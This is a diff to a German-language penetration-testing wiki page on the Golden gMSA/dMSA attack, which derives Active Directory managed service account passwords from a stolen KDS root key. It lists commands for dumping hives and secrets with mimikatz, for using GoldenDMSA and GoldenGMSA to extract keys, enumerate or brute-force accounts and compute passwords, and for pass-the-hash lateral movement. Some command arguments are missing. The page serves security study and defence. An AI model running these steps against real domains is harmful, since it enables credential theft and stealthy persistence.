diff --git a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md index 022d9603e..d486a0af3 100644 --- a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md +++ b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md @@ -6,22 +6,21 @@ Windows Managed Service Accounts (MSA) sind spezielle Prinzipien, die entwickelt wurden, um Dienste auszuführen, ohne dass die Passwörter manuell verwaltet werden müssen. Es gibt zwei Hauptvarianten: -1. **gMSA** – gruppenverwaltetes Dienstkonto – kann auf mehreren Hosts verwendet werden, die in seinem `msDS-GroupMSAMembership` Attribut autorisiert sind. -2. **dMSA** – delegiertes Managed Service Account – der (Vorschau-) Nachfolger von gMSA, der auf derselben Kryptografie basiert, aber granularere Delegationsszenarien ermöglicht. +1. **gMSA** – gruppenverwaltetes Dienstkonto – kann auf mehreren Hosts verwendet werden, die in seinem Attribut `msDS-GroupMSAMembership` autorisiert sind. +2. **dMSA** – delegiertes Managed Service Account – der (Vorschau-)Nachfolger von gMSA, der auf derselben Kryptografie basiert, aber granularere Delegationsszenarien ermöglicht. Für beide Varianten wird das **Passwort nicht** auf jedem Domain Controller (DC) wie ein regulärer NT-Hash gespeichert. Stattdessen kann jeder DC das aktuelle Passwort **on-the-fly** ableiten von: -* Dem forestweiten **KDS Root Key** (`KRBTGT\KDS`) – zufällig generierter GUID-benannter Geheimnis, das auf jeden DC im `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` Container repliziert wird. +* Dem forstweiten **KDS Root Key** (`KRBTGT\KDS`) – zufällig generierter, GUID-namensgegebener Geheimschlüssel, der auf jeden DC im Container `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` repliziert wird. * Der Zielkonto **SID**. -* Einer pro Konto **ManagedPasswordID** (GUID), die im `msDS-ManagedPasswordId` Attribut gefunden wird. +* Einer pro Konto **ManagedPasswordID** (GUID), die im Attribut `msDS-ManagedPasswordId` zu finden ist. -Die Ableitung ist: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 Byte Blob, das schließlich **base64-kodiert** und im `msDS-ManagedPassword` Attribut gespeichert wird. Kein Kerberos-Verkehr oder Domäneninteraktion ist während der normalen Passwortnutzung erforderlich – ein Mitglieds-Host leitet das Passwort lokal ab, solange es die drei Eingaben kennt. +Die Ableitung ist: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 Byte Blob, das schließlich **base64-kodiert** und im Attribut `msDS-ManagedPassword` gespeichert wird. Während der normalen Passwortnutzung sind kein Kerberos-Verkehr oder Domain-Interaktionen erforderlich – ein Mitglieds-Host leitet das Passwort lokal ab, solange es die drei Eingaben kennt. ## Golden gMSA / Golden dMSA Angriff -Wenn ein Angreifer alle drei Eingaben **offline** erhalten kann, kann er **gültige aktuelle und zukünftige Passwörter** für **jedes gMSA/dMSA im Forest** berechnen, ohne den DC erneut zu berühren, wodurch umgangen wird: +Wenn ein Angreifer alle drei Eingaben **offline** erhalten kann, kann er **gültige aktuelle und zukünftige Passwörter** für **jedes gMSA/dMSA in der Forest** berechnen, ohne den DC erneut zu berühren, wodurch umgangen wird: -* Kerberos-Vorautorisierung / Ticketanforderungsprotokolle * LDAP-Leseaudits * Passwortänderungsintervalle (sie können vorab berechnen) @@ -29,11 +28,12 @@ Dies ist analog zu einem *Golden Ticket* für Dienstkonten. ### Voraussetzungen -1. **Forest-weite Kompromittierung** von **einem DC** (oder Enterprise Admin). `SYSTEM`-Zugriff ist ausreichend. +1. **Forstweite Kompromittierung** von **einem DC** (oder Enterprise Admin) oder `SYSTEM`-Zugriff auf einen der DCs im Forest. 2. Fähigkeit, Dienstkonten aufzulisten (LDAP-Lesen / RID-Brute-Force). 3. .NET ≥ 4.7.2 x64 Arbeitsstation, um [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) oder gleichwertigen Code auszuführen. -### Phase 1 – Extrahieren des KDS Root Key +### Golden gMSA / dMSA +##### Phase 1 – Extrahieren des KDS Root Key Dump von jedem DC (Volume Shadow Copy / rohe SAM+SECURITY-Hives oder entfernte Geheimnisse): ```cmd @@ -43,16 +43,25 @@ reg save HKLM\SYSTEM system.hive # With mimikatz on the DC / offline mimikatz # lsadump::secrets mimikatz # lsadump::trust /patch # shows KDS root keys too + +# With GoldendMSA +GoldendMSA.exe kds --domain # query KDS root keys from a DC in the forest +GoldendMSA.exe kds + +# With GoldenGMSA +GoldenGMSA.exe kdsinfo ``` Der base64-String mit der Bezeichnung `RootKey` (GUID-Name) wird in späteren Schritten benötigt. -### Phase 2 – Enumerieren von gMSA/dMSA-Objekten +##### Phase 2 – gMSA / dMSA-Objekte auflisten Rufen Sie mindestens `sAMAccountName`, `objectSid` und `msDS-ManagedPasswordId` ab: ```powershell # Authenticated or anonymous depending on ACLs Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ Select sAMAccountName,objectSid,msDS-ManagedPasswordId + +GoldenGMSA.exe gmsainfo ``` [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementiert Hilfsmodi: ```powershell @@ -62,12 +71,12 @@ GoldendMSA.exe info -d example.local -m ldap # RID brute force if anonymous binds are blocked GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd ``` -### Phase 3 – Erraten / Entdecken der ManagedPasswordID (wenn fehlend) +##### Phase 3 – Erraten / Entdecken der ManagedPasswordID (wenn fehlend) Einige Deployments *entfernen* `msDS-ManagedPasswordId` von ACL-geschützten Lesevorgängen. Da die GUID 128-Bit ist, ist naives Brute-Forcing unpraktisch, aber: -1. Die ersten **32 Bit = Unix-Epoche** der Kontoerstellung (Minutenauflösung). +1. Die ersten **32 Bit = Unix-Epochenzeit** der Kontoerstellung (Minutenauflösung). 2. Gefolgt von 96 zufälligen Bits. Daher ist eine **enge Wortliste pro Konto** (± wenige Stunden) realistisch. @@ -76,15 +85,13 @@ GoldendMSA.exe wordlist -s -d example.local -f example.local -k -k -d example.local -m - -# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket -GoldendMSA.exe convert -d example.local -u svc_web$ -p +GoldendMSA.exe compute -s -k -d example.local -m -i +GoldenGMSA.exe compute --sid --kdskey --pwdid ``` Die resultierenden Hashes können mit **mimikatz** (`sekurlsa::pth`) oder **Rubeus** für Kerberos-Missbrauch injiziert werden, was stealth **lateral movement** und **persistence** ermöglicht. @@ -99,12 +106,14 @@ Die resultierenden Hashes können mit **mimikatz** (`sekurlsa::pth`) oder **Rube ## Tooling * [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – Referenzimplementierung, die auf dieser Seite verwendet wird. +* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – Referenzimplementierung, die auf dieser Seite verwendet wird. * [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`. * [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket unter Verwendung abgeleiteter AES-Schlüssel. ## References - [Golden dMSA – authentication bypass for delegated Managed Service Accounts](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) +- [gMSA Active Directory Attacks Accounts](https://www.semperis.com/blog/golden-gmsa-attack/) - [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA) - [Improsec – Golden gMSA trust attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)